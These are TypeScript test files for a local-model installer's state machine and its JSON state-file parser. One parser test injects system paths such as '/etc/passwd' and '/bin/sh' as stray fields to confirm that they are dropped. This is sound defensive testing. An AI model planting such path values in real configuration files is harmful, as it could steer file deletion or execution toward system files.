} from '../src/local-model/install-job.js';
import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_ERROR_NEXT,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type LocalModelAction,
type LocalModelErrorCode,
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelStateFile,
} from '../src/types.js';
const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
const EVENT_TYPES: InstallJobEventType[] = [
'install',
'progress',
'step-done',
'fail',
'cancel',
'restart',
'resume',
'remove',
];
const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect'];
const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 };
const CLI = { id: 'opencode', label: 'OpenCode' };
const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 };
const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
const JOB: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'model',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
runtime: RUNTIME,
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
/** One state file of each state, as the job leaves it. */
const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
idle: { schema: 1, state: 'idle' },
installing: JOB,
paused: { ...JOB, state: 'paused' },
failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } },
installed: {
schema: 1,
state: 'installed',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
cli: CLI,
runtime: RUNTIME,
loaded: LOADED,
connection: CONNECTION,
},
};
/** One event of each type. */
const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
install: {
type: 'install',
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
steps: ['runtime', 'model', 'verify', 'connect'],
},
progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
'step-done': { type: 'step-done' },
fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
cancel: { type: 'cancel' },
restart: { type: 'restart' },
resume: { type: 'resume' },
remove: { type: 'remove' },
};
/** Freezes an object and everything in it, so a reducer that mutates its input throws. */
function deepFreeze<T>(value: T): T {
if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
Object.freeze(value);
for (const member of Object.values(value)) deepFreeze(member);
}
return value;
}
const LIVE: InstallLiveFacts = {
running: false,
gaveUp: false,
portInUse: false,
developerTools: 'present',
runtimeInstalled: false,
pin: OLLAMA_RUNTIME_PIN,
folder: '/Users/me/.codeman/local-model',
};
describe('the tables', () => {
it('have a row for every state and every step, and only for those', () => {
expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort());
expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS);
});
it('the transition table names only real events and real states', () => {
for (const state of STATES) {
for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) {
expect(EVENT_TYPES).toContain(type);
expect(STATES).toContain(target);
}
}
});
it('is the table of the design: these pairs and no others', () => {
expect(INSTALL_TRANSITIONS).toEqual({
idle: { install: 'installing', restart: 'idle', remove: 'idle' },
installing: {
progress: 'installing',
'step-done': 'installing',
fail: 'failed',
cancel: 'paused',
restart: 'paused',
},
paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
installed: { remove: 'idle', restart: 'installed' },
});
});
it('every step row names error codes that exist, each with a sentence and a next step', () => {
for (const step of LOCAL_MODEL_INSTALL_STEPS) {
const row = INSTALL_STEP_TABLE[step];
expect(row.errors.length).toBeGreaterThan(0);
expect(row.errors).toContain('internal');
for (const code of row.errors) {
expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string');
expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string');
}
}
// The two steps that download report byte progress; the others do not.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']);
// The runtime must run for every step that talks to it.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([
'model',
'verify',
'connect',
]);
});
it('every error code has exactly one sentence and one next step', () => {
const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[];
expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort());
const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true);
});
});
describe('jobSteps', () => {
it('is every step in order, without the agent step when the coding agent is installed', () => {
expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']);
expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']);
});
it('hands out a list of its own each time', () => {
const steps = jobSteps({ agentInstalled: false });
steps.pop();
expect(jobSteps({ agentInstalled: false })).toHaveLength(5);
expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5);
});
});
describe('reduceInstallJob: every state with every event, from the transition table', () => {
for (const state of STATES) {
for (const type of EVENT_TYPES) {
const target = INSTALL_TRANSITIONS[state][type];
const current = deepFreeze(structuredClone(SAMPLE[state]));
const event = deepFreeze(structuredClone(EVENT[type]));
if (target === undefined) {
it(`${state} + ${type}: refused, the same object comes back`, () => {
expect(reduceInstallJob(current, event)).toBe(current);
});
} else {
it(`${state} + ${type}: ${target}`, () => {
const next = reduceInstallJob(current, event);
expect(next.state).toBe(target);
expect(next.schema).toBe(1);
// Pure: the frozen input was not changed (a write to it would have thrown).
expect(current).toEqual(SAMPLE[state]);
});
}
}
}
it('covers all 40 pairs, 18 of them listed', () => {
const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
expect(STATES.length * EVENT_TYPES.length).toBe(40);
expect(listed).toHaveLength(18);
});
});
describe('the state table agrees with the reducer and the view', () => {
it.each(STATES)('%s: what a server restart does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).toBe(row.afterRestart);
});
it.each(STATES)('%s: what Cancel does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' });
if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]);
else expect(after.state).toBe(row.afterCancel);
});
it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => {
const row = INSTALL_STATE_TABLE[state];
const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
expect(row.actions.includes('install')).toBe(accepts('install'));
expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
expect(row.actions.includes('resume')).toBe(accepts('resume'));
// Remove is refused only while a job runs. From idle it only clears leftovers, so the
// window offers no button for it there.
if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
// The runtime and a session are things of an installed model only.
for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
expect(row.actions.includes(action)).toBe(state === 'installed');
}
});
it('a restart never leaves a job running, and never changes anything else', () => {
for (const state of STATES) {
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).not.toBe('installing');
if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' });
else expect(after).toBe(SAMPLE[state]);
}
});
});
describe('reduceInstallJob: what each event writes', () => {
it('install from idle starts at the first step with the model, the coding agent and the steps', () => {
expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
});
});
it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => {
const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED };
const next = reduceInstallJob(failed, EVENT.install);
expect(next).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
// The old job's model is another one: what it left in the store is deleted first.
replacedModelId: 'qwen3.6:35b-a3b',
cli: { id: 'claude', label: 'Claude Code' },
runtime: RUNTIME,
connection: CONNECTION,
});
// Gone: the error, the progress, what the runtime had loaded.
expect(next).not.toHaveProperty('error');
expect(next).not.toHaveProperty('progress');
expect(next).not.toHaveProperty('loaded');
});
it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => {
const paused: LocalModelStateFile = {
...SAMPLE.paused,
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' },
};
const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent);
expect(next).not.toHaveProperty('replacedModelId');
expect(next.model).toEqual(MODEL);
});
it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => {
const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' };
// Same model again: the older leftover is still to be deleted.
expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe(
'qwen3.8:27b'
);
// Going back to the leftover itself: it is the model that is wanted now.
const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } };
expect(
reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent)
).not.toHaveProperty('replacedModelId');
});
it('refuses an install whose steps are not a job', () => {
const idle = SAMPLE.idle;
expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle);
});
it('progress changes the progress and nothing else', () => {
const next = reduceInstallJob(SAMPLE.installing, EVENT.progress);
expect(next).toEqual({
...SAMPLE.installing,
progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
});
});
it('refuses progress that is not two byte counts', () => {
for (const bad of [
{ completedBytes: -1, totalBytes: 10 },
{ completedBytes: 1.5, totalBytes: 10 },
{ completedBytes: Number.NaN, totalBytes: 10 },
{ completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY },
]) {
expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing);
}
});
it('step-done moves to the next step of THIS job and clears the progress', () => {
const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect'];
let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps };
const visited: (LocalModelInstallStep | undefined)[] = [state.step];
for (let i = 0; i < 3; i++) {
state = reduceInstallJob(state, { type: 'step-done' });
expect(state.state).toBe('installing');
expect(state).not.toHaveProperty('progress');
visited.push(state.step);
}
// The agent step is not part of this job, so it is never entered.
expect(visited).toEqual(steps);
});
it('the last step-done makes the job installed and keeps only what an installation has', () => {
const last: LocalModelStateFile = {
...SAMPLE.installing,
step: 'connect',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
loaded: LOADED,
connection: CONNECTION,
};
expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed);
});
it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => {
const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI };
expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep);
const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] };
expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign);
const noRuntime: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'connect',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
};
expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime);
});
it('fail keeps the step and the progress as they stood and stores the error', () => {
expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({
...SAMPLE.installing,
state: 'failed',
error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
});
// An error without extras is just its code.
expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({
code: 'internal',
});
});
it('cancel pauses at the same step, with the progress as it stood', () => {
expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused);
});
it('resume re-enters the same step and clears the error', () => {
const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' });
expect(next).toEqual({ ...SAMPLE.installing });
expect(next).not.toHaveProperty('error');
expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model');
});
it('remove drops everything, from every state that allows it', () => {
for (const state of ['idle', 'paused', 'failed', 'installed'] as const) {
expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' });
}
});
});
describe('allowedActions', () => {
it('outside installed it is the state row, whatever is live', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
...INSTALL_STATE_TABLE[state].actions,
]);
}
expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
});
it('installed and running: a session can be started and the runtime stopped', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
'start-session',
'stop',
'remove',
]);
});
it('installed and stopped: it can be started, and no session is offered', () => {
expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
});
it('installed and running a model that changed: no session', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
});
it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session');
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session');
});
it('never returns the table row itself', () => {
const actions = allowedActions(SAMPLE.idle, LIVE);
actions.push('remove');
expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
});
});
describe('installedBlocker', () => {
it('is nothing outside installed, and nothing for a runtime the person stopped', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(
installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' })
).toBeUndefined();
}
expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined();
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined();
});
it('another program on the port: the port, and "Use another port"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({
code: 'port-in-use',
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
next: 'other-port',
});
});
it('a runtime that keeps stopping: "Start"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({
code: 'runtime-stopped',
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
next: 'start',
});
});
it('a model that changed: "Remove"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({
code: 'model-changed',
message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' },
next: 'remove',
});
});
});
describe('buildInstallView', () => {
it('idle: only what is always there, with the runtime download an install would add', () => {
expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({
state: 'idle',
running: false,
developerTools: 'missing',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['install'],
});
});
it('once the runtime is unpacked an install downloads nothing for it', () => {
const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
expect(view.runtime).toEqual({
version: '0.40.15',
installed: true,
downloadBytes: 0,
downloadGb: '0.0',
unpackedGb: '0.6',
});
});
it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => {
const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 });
expect(view).toEqual({
state: 'installing',
running: true,
developerTools: 'present',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['cancel'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
step: 'model',
steps: ALL_STEPS,
progress: {
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
bytesPerSecond: 58_000_000,
mbPerSecond: '58',
// (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up.
secondsLeft: 292,
},
});
});
it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => {
const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 });
expect(view.progress).toEqual({
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
});
expect(view.actions).toEqual(['resume', 'install', 'remove']);
});
it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 });
expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' });
expect(stalled.progress).not.toHaveProperty('secondsLeft');
const noTotal = buildInstallView(
{ ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } },
{ ...LIVE, bytesPerSecond: 5 }
);
expect(noTotal).not.toHaveProperty('progress');
});
it('a job before its port was chosen has no port', () => {
const { runtime: _runtime, ...early } = SAMPLE.installing;
expect(buildInstallView(early, LIVE)).not.toHaveProperty('port');
});
it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => {
const failed: LocalModelStateFile = {
...SAMPLE.failed,
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
const view = buildInstallView(failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.state).toBe('failed');
expect(view.step).toBe('verify');
expect(view.error).toEqual({
code: 'no-tool-call',
message: {
text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
vars: { model: 'Qwen3.6 35B-A3B' },
},
next: 'next-model',
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
detail: 'finish_reason stop',
});
});
it('a next model is named only for an error whose next step is another model', () => {
const view = buildInstallView(SAMPLE.failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.error).toEqual({
code: 'pull-failed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed },
next: 'retry',
detail: 'tls: bad record MAC',
});
});
it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' });
expect(view).toEqual({
state: 'installed',
running: true,
developerTools: 'present',
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
actions: ['start-session', 'stop', 'remove'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true },
endpointId: 'local-ollama',
});
});
it('installed: what blocks a session is on the view and the state stays installed', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
expect(view.state).toBe('installed');
expect(view.error?.code).toBe('model-changed');
expect(view.actions).toEqual(['stop', 'remove']);
});
it('a model that was not all on the GPU says so', () => {
const view = buildInstallView(
{ ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } },
{ ...LIVE, running: true }
);
expect(view.loaded?.onGpu).toBe(false);
});
it('every sentence it sends is one of the install labels', () => {
const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) {
const error = buildInstallError(code, { vars: { model: 'M' } });
expect(sentences.has(error.message.text)).toBe(true);
expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]);
}
});
});
describe('formatInstallMessage', () => {
it('fills the slots of a sentence', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(
'Port 11435 is in use by another program.'
);
expect(
formatInstallMessage({
text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' },
})
).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.');
});
it('leaves a sentence without slots, and a slot without a value, as they are', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe(
'An install is already running.'
);
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe(
'Port {port} is in use by another program.'
);
// A slot name that is a member of every object is not a value.
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}');
});
});
File diff suppressed because it is too large. Load diff
+270
View File
@@ -0,0 +1,270 @@
/**
* @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts).
*
* What is pinned:
* - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown
* state and a state that lacks a member it needs all read as idle, and a member of the
* wrong type is dropped rather than trusted;
* - the file holds no path, so nothing in it can point a delete anywhere;
* - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`.
*
* Port: N/A (no server; the file lives in the test's temp data dir).
*/
import { afterEach, describe, expect, it } from 'vitest';
import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import {
IDLE_LOCAL_MODEL_STATE,
mutateLocalModelState,
parseLocalModelState,
readLocalModelState,
} from '../src/local-model/state-store.js';
import type { LocalModelStateFile } from '../src/types.js';
const FILE = () => dataPath('local-model.json');
const INSTALLED: LocalModelStateFile = {
schema: 1,
state: 'installed',
model: {
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
context: 131072,
pullBytes: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
},
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 },
loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
updatedAt: '2026-11-06T10:00:00.000Z',
};
const PAUSED: LocalModelStateFile = {
schema: 1,
state: 'paused',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
const FAILED: LocalModelStateFile = {
...PAUSED,
state: 'failed',
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
afterEach(() => {
rmSync(FILE(), { force: true });
});
describe('parseLocalModelState', () => {
it('reads back exactly what a state of each kind holds', () => {
for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) {
expect(parseLocalModelState(JSON.stringify(state))).toEqual(state);
}
});
it.each([
['an empty file', ''],
['text that does not parse', '{"schema":1,"state":"installed",'],
['a list', '[]'],
['null', 'null'],
['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })],
['no schema', JSON.stringify({ state: 'installed' })],
['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })],
['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })],
['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })],
['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })],
])('%s reads as idle', (_label, raw) => {
expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('a state that lacks a member it needs is not trusted: it reads as idle', () => {
const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => {
const copy: Record<string, unknown> = { ...state };
delete copy[key];
return JSON.stringify(copy);
};
// Installed needs its model, its coding agent and its runtime (the port).
expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE);
// A job needs its step and its steps, and a failed one its error.
expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
});
it('drops a member of the wrong type instead of trusting it', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 },
runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 },
loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 },
connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' },
updatedAt: 5,
})
);
expect(parsed).toEqual({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
});
});
it('a port that is not a port makes the runtime unknown', () => {
for (const port of [0, 70_000, 11435.5, '11435', null]) {
expect(
parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } }))
).not.toHaveProperty('runtime');
}
});
it('only an explicit false switches the runtime off', () => {
const enabled = (value: unknown) =>
parseLocalModelState(
JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } })
).runtime?.enabled;
expect(enabled(false)).toBe(false);
expect(enabled(true)).toBe(true);
expect(enabled(undefined)).toBe(true);
expect(enabled('false')).toBe(true);
});
it('drops members it does not know, at every level: a state file holds no path', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
root: '/Users/me',
runtimeDir: '/',
model: { ...INSTALLED.model, path: '/etc' },
runtime: { ...INSTALLED.runtime, binary: '/bin/sh' },
connection: { ...INSTALLED.connection, file: '/etc/passwd' },
})
);
expect(parsed).toEqual(INSTALLED);
expect(JSON.stringify(parsed)).not.toContain('/');
});
it('keeps the model a replaced job left behind on a job, and never on an installed state', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe(
'qwen3.8:27b'
);
expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty(
'replacedModelId'
);
});
